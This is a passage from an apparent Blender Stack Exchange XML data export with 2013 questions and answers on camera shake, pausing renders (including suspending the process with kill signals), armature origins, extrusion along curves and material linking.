  <row Id="581" PostTypeId="1" AcceptedAnswerId="583" CreationDate="2013-06-03T04:43:36.657" Score="19" ViewCount="10010" Body="&lt;p&gt;I would like to generate camera shake in either a render or in BGE.  How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="290" LastEditDate="2013-08-19T12:08:30.797" LastActivityDate="2020-12-18T23:24:47.707" Title="How can I generate camera shake?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostTypeId="1" AcceptedAnswerId="584" CreationDate="2013-06-03T04:46:38.070" Score="106" ViewCount="95493" Body="&lt;p&gt;I would like to pause a render that I have started, with the intention of resuming it at a later time (but during the same Blender session).  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2020-02-18T13:26:05.030" Title="How can I pause a render in progress and then resume it at a later time?" Tags="&lt;rendering&gt;" AnswerCount="11" CommentCount="3" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostTypeId="2" ParentId="581" CreationDate="2013-06-03T05:19:02.380" Score="24" Body="&lt;p&gt;You could insert a single keyframe for the location on the camera (if you dont have any movement) and then, in the the graph editor, add a noise modifier to the curves in the properties panel (N key). Adjust the values of the modifier so you can get the intensity and movement that you like.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-06-03T05:19:02.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostTypeId="2" ParentId="582" CreationDate="2013-06-03T05:29:27.327" Score="53" Body="&lt;p&gt;Blender Internal and Cycles lack such functionality (but we'd love to have that for Renderfarm.fi)&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-06-03T05:29:27.327" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostTypeId="2" ParentId="582" CreationDate="2013-06-03T06:28:11.337" Score="16" Body="&lt;p&gt;For one frame you could try to use border select then render. You could render parts of your image you need and mix the layers later in GIMP. I use it whenever I add details to a model and don't want to render the whole scene again.&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="181" LastEditDate="2013-06-07T21:00:39.433" LastActivityDate="2013-06-07T21:00:39.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="586" PostTypeId="2" ParentId="561" CreationDate="2013-06-03T06:35:23.820" Score="4" Body="&lt;p&gt;Firstly, you need to create the shape of the inside of the hole and make sure the object is on the foreground layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you need to crop the generated &lt;code&gt;Ground&lt;/code&gt; object to remove an area which matches the opening of the hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result (not realistic, just to show that it works):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G087a.png&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way I did it. I guess this might not be the best way to do it, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not familiar with Blender terminology. If someone is willing to post a more detailed or better answer, I would be glad to accept it.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2013-06-03T06:35:23.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostTypeId="1" AcceptedAnswerId="589" CreationDate="2013-06-03T08:57:30.137" Score="9" ViewCount="8580" Body="&lt;p&gt;After importing a .bvh file from Motion Capturing, the object appears translated and its origin isn't in the objects geometric center. I've tried several options from the &lt;em&gt;Set Origin&lt;/em&gt; menu (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I still couldn't find a way to have the object's center work in both &lt;em&gt;Object Mode&lt;/em&gt; and &lt;em&gt;Edit Mode&lt;/em&gt;. When I toggle between the two modes, the object jumps around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the object's center for both modes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit Mode:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DXx9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Object Mode:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7pxu0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="20508" LastEditDate="2016-06-29T18:42:31.440" LastActivityDate="2020-10-19T07:43:52.953" Title="How can I set the object origin for an armature?" Tags="&lt;modeling&gt;&lt;armature&gt;&lt;import&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="589" PostTypeId="2" ParentId="587" CreationDate="2013-06-03T10:56:58.510" Score="13" Body="&lt;p&gt;In the Edit mode, the pose set in an armature is ignored.  Because in your case the object is translated in an unwanted way in the Object mode but not in the Edit mode, it is possible that you have accidentally set a pose which translates the whole object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clear the translation of a pose, do the following.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the armature and enter the Pose mode.&lt;/li&gt;&#xA;&lt;li&gt;Select a bone you want to reset the translation of (or select all bones by using shortcut &lt;kbd&gt;A&lt;/kbd&gt; if you want).&lt;/li&gt;&#xA;&lt;li&gt;Press Alt+G (the shortcut for Pose &gt; Clear Transform &gt; Location).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In response to your comment, here is how to clear the keyframes for the bone translation (that is, remove the animation data of the bone location from all frames).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the armature and enter the Pose mode.&lt;/li&gt;&#xA;&lt;li&gt;Select the bone, and open the Bone tab in the Properties window.&lt;/li&gt;&#xA;&lt;li&gt;Right-click any of the three coordinates in Location, and select Clear Keyframes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After clearing the keyframes, you can use Alt+G to clear the translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, because this works for only one bone, if you want to do this for many bones, you have to repeat steps 2 and 3 many times.  Maybe there is a better way.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditDate="2013-06-04T00:54:16.380" LastActivityDate="2013-06-04T00:54:16.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostTypeId="1" AcceptedAnswerId="597" CreationDate="2013-06-03T11:30:13.313" Score="5" ViewCount="312" Body="&lt;p&gt;I have a scene with three sets of three bricks, nine in total. I created eight of them by duplicating the first one and modifying them. In another scene I append one of the bricks. I get the brick I want plus the brick(s) that were used to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bricks file I have tried &lt;em&gt;Make duplicates real&lt;/em&gt; and also &lt;em&gt;Make single user&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="25" LastEditDate="2015-10-29T07:52:49.093" LastActivityDate="2015-10-29T07:52:49.093" Title="Appending an object brings duplicated objects" Tags="&lt;objects&gt;&lt;append&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostTypeId="2" ParentId="247" CreationDate="2013-06-03T11:39:48.093" Score="11" Body="&lt;p&gt;realism is about carefully adding accurate imperfections. Whatever you attempt to model:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take time to examine the real object close up. Either using images, find macro shots or if you have the item, use a magnifying glass.&lt;/li&gt;&#xA;&lt;li&gt;Take note of small irregularities on the surface, maybe something bulges toward edges. (use a bump or normal map, or add geometry)&lt;/li&gt;&#xA;&lt;li&gt;Study how light hitting the object behaves as you rotate the object. Maybe some parts are shinier than other. Are there texture changes from rough to shiny? use a specular map, and adjust your materials to behave like their real world counterparts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Objects rarely have uniform bevel / fillet radii all over, so the specials menu &lt;kbd&gt;w&lt;/kbd&gt; has a bevel option that allows you to manually set the &lt;code&gt;bevel segments&lt;/code&gt; for edges, hit &lt;kbd&gt;F6&lt;/kbd&gt; to see which settings can be tweaked. This is a desctructive edit (ie, not a &lt;code&gt;modifier&lt;/code&gt;), so have a good look at the result and undo as soon as possible if it's not satisfactory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even subtle texturing and bump mapping are very powerful ways to make low poly geometry appear more lifelike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick &lt;a href=&quot;http://www.flickr.com/search/?q=circuitboard&quot; rel=&quot;noreferrer&quot;&gt;Flickr search of circuit boards&lt;/a&gt;, reveals an abundance of ways that circuit boards are infact less 'precise' than their design plans suggest. Stuff can be tilted, slightly bent. Fixtured and holes can be placed slightly to the side of the outlines. The bore-hole can be uneven, jaggy edged even.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-10T13:46:02.127" LastActivityDate="2013-06-10T13:46:02.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="592" PostTypeId="2" ParentId="582" CreationDate="2013-06-03T14:32:43.143" Score="7" Body="&lt;p&gt;If you're rendering an animation, render out the frames individually as PNGs first. If do so, you can stop rendering a frame and come back to render the rest later without any corruption. Once you want the animation as a video file, load the PNGs as an image strip in Blender's video editor and render the video out(it will be really fast because it's just sticking the images together).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-03T14:32:43.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostTypeId="5" CreationDate="2013-06-03T14:33:38.777" Score="0" Body="&lt;p&gt;Blender's &lt;em&gt;Node Editor&lt;/em&gt; can currently use three types of nodes, &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/index.html#node-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Composite Nodes&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Material Nodes&lt;/em&gt; (for both &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/nodes/index.html#material-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;BI&lt;/a&gt; and &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/index.html#shader&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt;), and &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/index.html#texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Texture Nodes&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is also currently development on &lt;a href=&quot;https://developer.blender.org/T68636&quot; rel=&quot;nofollow noreferrer&quot;&gt;nodes for &lt;em&gt;Particles&lt;/em&gt;&lt;/a&gt;, as well as &lt;a href=&quot;http://www.blender.org/press/18-anticipated-blender-development-projects-of-2015/&quot; rel=&quot;nofollow noreferrer&quot;&gt;some mention&lt;/a&gt; of creating &lt;a href=&quot;http://code.blender.org/index.php/2013/06/blender-roadmap-2-7-2-8-and-beyond/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nodes for other parts of Blender in the future&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-27T15:14:16.773" LastActivityDate="2020-10-27T15:14:16.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="594" PostTypeId="4" CreationDate="2013-06-03T14:33:38.777" Score="0" Body="Nodes are used in the Node Editor for compositing, post-processing, creating materials and textures. Use this tag for anything node related." OwnerUserId="14" LastEditorUserId="2217" LastEditDate="2014-05-15T19:37:54.380" LastActivityDate="2014-05-15T19:37:54.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostTypeId="2" ParentId="582" CreationDate="2013-06-03T15:33:11.560" Score="76" Body="&lt;p&gt;On Mac OS it is not necessary to have started Blender from the command line.  You may use the &quot;kill&quot; command to send a stop and continue signal...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ ps -ax | grep Blender&#xA;3554 ??       750:42.18 /.../.../Contents/MacOS/Blender&#xA;$&lt;/span&gt; kill -s SIGSTOP 3554&#xA;$ kill -s SIGCONT 3554&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is a way to 'pause' Blender (or any software for that matter), but it relies on the operating system rather than Blender itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mac OS X and Linux:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You must start Blender from the command line or terminal.&lt;/li&gt;&#xA;&lt;li&gt;At any time, you can completely suspend Blender by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; from the terminal window.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The terminal should say something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;^Z&#xA;[1]+  Stopped                 /Applications/blender.app/Contents/MacOS/blender&#xA;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;You cannot interact with it until you you type &lt;code&gt;fg&lt;/code&gt; in the terminal. Which will bring Blender back to the foreground.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Windows:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have the console window open (Window &gt; Toggle System Console)&lt;/li&gt;&#xA;&lt;li&gt;Use the cursor to highlight any of the text in this window will freeze the console and pause Blender. This is a super hacky way to actually pause Blender, but it works in a pinch. See &lt;a href=&quot;https://stackoverflow.com/questions/30418886/how-and-why-does-quickedit-mode-in-command-prompt-freeze-applications&quot;&gt;https://stackoverflow.com/questions/30418886/how-and-why-does-quickedit-mode-in-command-prompt-freeze-applications&lt;/a&gt; for detailed explanation of why this happens.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="41" LastEditorUserId="40129" LastEditDate="2019-12-25T10:09:33.490" LastActivityDate="2019-12-25T10:09:33.490" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="596" PostTypeId="2" ParentId="581" CreationDate="2013-06-03T17:00:40.123" Score="11" Body="&lt;p&gt;As has been mentioned - fcurves modified with noise can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the game engine you can use an action with noise too (access action through the action actuator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that while noise modified fcurves on camera are a start, you may want to have a very basic camera rig, I've seen this done before where an empty parent controls the camera, and there are 2 children, one the camera, another empty object with noise applied. The camera constrains to the noise empty using &lt;code&gt;Copy Transforms&lt;/code&gt; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the advantage you can do regular (non-noisy) animation to the parent, and the constraint can be animated so you can adjust the noise level over time. - Of course if you wanted to go further you could blend different types of noise easily by adding more empties+constraints and blending those in too (to simulate different terrain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the game engine wont do constraints, something more complex like this would need to use python scripting.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-03T19:59:10.843" LastActivityDate="2013-06-03T19:59:10.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostTypeId="2" ParentId="590" CreationDate="2013-06-03T17:19:07.483" Score="3" Body="&lt;p&gt;To summarize the answers in the comments, it looks like you can solve the problem by simply deleting the erroneously copied brick(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this problem entirely in the future, you can used an &lt;em&gt;Array&lt;/em&gt; modifier on the bricks, then separate them into individually manipulatable meshes using the techniques outlined at &lt;a href=&quot;https://blender.stackexchange.com/questions/109/array-modifier-to-create-individually-manipulatable-objects&quot;&gt;How can I use an array modifier to create individually manipulatable objects?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option, depending on the kind of manipulation you are doing to the brick meshes, would be to automate the randomness of the bricks using a &lt;em&gt;Displace&lt;/em&gt; modifier (applied after applying an &lt;em&gt;Array&lt;/em&gt; modifier). In order to make each one of the bricks have a different deformation, set the &lt;em&gt;Displace&lt;/em&gt; modifier setting 'Texture Coordinates' to object and select any object in your scene (though preferably an empty).&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-06-03T17:44:09.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostTypeId="5" CreationDate="2013-06-03T17:54:30.423" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-03T17:54:30.423" LastActivityDate="2013-06-03T17:54:30.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="599" PostTypeId="4" CreationDate="2013-06-03T17:54:30.423" Score="0" Body="Questions pertaining to using Blender from the command line or using Blender's console window." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-04T14:56:35.453" LastActivityDate="2013-06-04T14:56:35.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostTypeId="2" ParentId="582" CreationDate="2013-06-03T17:55:42.500" Score="15" Body="&lt;p&gt;You can pause viewport rendering in Cycles (but not 'Render' menu rendering) by pressing the pause button in the bottom right-hand corner of the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FABaq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-03T17:55:42.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="601" PostTypeId="5" CreationDate="2013-06-03T18:04:09.463" Score="0" Body="&lt;p&gt;PyNodes have access to the &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;Blender Python API&lt;/a&gt;, just like normal scripts with or without guis, script links, space handlers, pydriver expressions, etc do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.4/Py/Nodes/API&quot; rel=&quot;nofollow&quot;&gt;wiki entry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyNodes &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.4/Py/Nodes/Cookbook&quot; rel=&quot;nofollow&quot;&gt;cookbook.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-04T14:56:47.127" LastActivityDate="2013-06-04T14:56:47.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="602" PostTypeId="4" CreationDate="2013-06-03T18:04:09.463" Score="0" Body="PyNodes (or Dynamic Nodes) are nodes defined by Python scripts saved as text in a blend file." OwnerUserId="12" LastEditorUserId="14" LastEditDate="2013-06-22T02:22:55.497" LastActivityDate="2013-06-22T02:22:55.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostTypeId="5" CreationDate="2013-06-03T18:17:59.160" Score="0" Body="&lt;p&gt;Read more about the user interface in the &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/interface/index.html&quot; rel=&quot;nofollow&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2015-06-03T08:35:32.223" LastActivityDate="2015-06-03T08:35:32.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="604" PostTypeId="4" CreationDate="2013-06-03T18:17:59.160" Score="0" Body="Questions pertaining to Blender's user interface, such as theming, scripting and operating the interface." OwnerUserId="20" LastEditorUserId="1363" LastEditDate="2014-05-15T19:15:35.237" LastActivityDate="2014-05-15T19:15:35.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="605" PostTypeId="1" AcceptedAnswerId="680" CreationDate="2013-06-03T18:57:37.060" Score="13" ViewCount="5006" Body="&lt;p&gt;&lt;strong&gt;edit 2 years later&lt;/strong&gt;: Here is &lt;a href=&quot;https://blender.stackexchange.com/a/9274/47&quot;&gt;an alternative answer&lt;/a&gt; that meets the desired end-result using FreeStyle.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make the &lt;em&gt;wireframe input&lt;/em&gt; show the geometry as BMesh polygons instead of the raw triangulated mesh? The example below displays the wireframe of a mesh in edit mode (as you can see it doesn't have any triangles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N2Nxl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the mesh it appears triangulated, but being able to show quads and ngons (instead of only tris) would be more useful to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UrZVK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2016-06-03T10:15:57.557" Title="Can cycles Wireframe Input be coerced into displaying Tris, Quads and Ngons" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="607" PostTypeId="1" AcceptedAnswerId="609" CreationDate="2013-06-03T21:16:28.507" Score="38" ViewCount="13347" Body="&lt;p&gt;I've been trying to design a dynamic sculpture which I can only define with exactitude through mathematical equations. Now, the equations yield only lines, like you can see in the animation below: &lt;img src=&quot;https://i.stack.imgur.com/MMMUF.gif&quot; alt=&quot;Hexar monument&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use these blue lines as extrusion paths in blender. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="6160" LastEditDate="2015-09-22T12:00:32.177" LastActivityDate="2015-09-22T12:00:32.177" Title="Generate curve from equation" Tags="&lt;modeling&gt;&lt;mathematics&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostTypeId="2" ParentId="607" CreationDate="2013-06-03T21:32:34.550" Score="14" Body="&lt;p&gt;At some point the geometry will get converted into discrete coordinates - it's something we have to accept. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a method as simple as generating a profile 'edge' mesh from 20 points on a curve ( blender has curve interpolation functions in python &lt;code&gt;mathutils.geometry&lt;/code&gt; to get neat segments)  and then use the Screw modifier to Lathe them around&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dM5lv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-06-03T21:32:34.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="609" PostTypeId="2" ParentId="607" CreationDate="2013-06-03T21:34:24.887" Score="36" Body="&lt;p&gt;The &lt;em&gt;Add 3D Function Surface&lt;/em&gt; addon allows you to do exactly this. You can download this addon &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. It also comes included in the built-in &lt;em&gt;Extra Objects&lt;/em&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the addon installed, when you go to add a new mesh, you will have two additional options: 'Z function surface' and 'XYZ function surface'. If you select either of these, you will then be able to add parametric equations in the Toolbar menu to define your shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example XYZ Function Surface:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q1N6F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-04T19:46:40.837" LastActivityDate="2013-06-04T19:46:40.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="611" PostTypeId="1" AcceptedAnswerId="24076" CreationDate="2013-06-04T03:57:03.253" Score="13" ViewCount="6116" Body="&lt;p&gt;I want to extrude a profile (either a mesh or a curve) along a &amp;quot;guide&amp;quot; curve such that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Its local Z axis is and remains parallel to the global Z axis at every point of the extrusion&lt;/li&gt;&#xA;&lt;li&gt;Its X axis must always intersect the center axis, parallel to the global Z axis&lt;/li&gt;&#xA;&lt;li&gt;The rotation of the profile matches that of the guide-curve, which may be non-linear&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What are my options? I am looking for an automatic way of doing it, i.e. not by a vertex-by-vertex manipulation. Should the only way possible be via python programming and you can englight me, please do so!&lt;/p&gt;&#xA;&lt;p&gt;Perhaps you might wonder why I would want such particular restrictions, so you might find it useful to know what I am trying to do. I am trying to model a vertical wind turbine (VAWT), such as the one in this picture: &lt;img src=&quot;https://i.stack.imgur.com/bkBkU.jpg&quot; alt=&quot;vawt&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am modeling one of the blades. Note that the blades' profiles remain perpendicular to the radius of the turbine at all times (see top view), and also remain parallel to the horizontal plane (see side view).&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;Well I had not thought it necessary to show exactly what I was trying to model. I thought that the sample image of a VAWT would suffice to have blenders out here provide the right answer to my question. However, to quit puzzling readers, here I post an animation of the paths I want the blade profiles to follow: &lt;img src=&quot;https://i.stack.imgur.com/MMMUF.gif&quot; alt=&quot;hexvawt&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-01T18:28:38.397" Title="Complex extrusion howto" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="612" PostTypeId="2" ParentId="611" CreationDate="2013-06-04T06:30:22.160" Score="1" Body="&lt;p&gt;One way would be to use the curve modifier. In the picture below, the curve is used to control the mesh's shape, and the mesh must have sufficient edge loops to get smooth deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dANMg.png&quot; alt=&quot;Objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay attention too, to the curve object's axis. The mesh's Curve modifier use this information to deform the mesh along the correct axis (below right). For the curve itself, check Stretch and Bounds Clamp to make the mesh deformed using it follows its overall shape; otherwise it'd be hard to deform correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhjWW.png&quot; alt=&quot;Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-04T06:30:22.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostTypeId="1" AcceptedAnswerId="617" CreationDate="2013-06-04T08:31:54.557" Score="10" ViewCount="1283" Body="&lt;p&gt;Over the years I've discovered that I've had much more trouble with scenes where materials were linked to the Mesh Data. This is Blender's default. Then I'll go through the arduous task of re-linking the same material(s) to the Object Data instead. I know that I can set the default on my own machine/install to have materials link to Object Data. I'm curious what's the philosophy behind linking materials to Mesh Data? What are the perceived advantages? Does anyone else have this problem?&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2013-06-11T11:08:08.923" LastActivityDate="2013-06-11T11:08:08.923" Title="Why are materials linked to meshes by default?" Tags="&lt;materials&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostTypeId="2" ParentId="613" CreationDate="2013-06-04T11:05:06.507" Score="8" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit:&lt;/em&gt;&lt;/strong&gt; &lt;sup&gt;&lt;em&gt;(in response to a comment below)&lt;/em&gt;&lt;/sup&gt; &lt;em&gt;A set reason was never given for this, &lt;strong&gt;this is merely a speculative answer&lt;/strong&gt; based on what I know of this option. You can skip to the bottom for the conclusion.&lt;sup&gt;1&lt;/sup&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand this option properly, you need to understand how Blender works with Objects. Almost everything in Blender is organized in a hierarchy of &lt;strong&gt;Datablocks&lt;/strong&gt;. A Datablock can be thought of as containers for certain pieces of information. For example, the Object Datablock contains information about the Object's location while the Object Data (ObData) datablock contains information about the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linking a material to 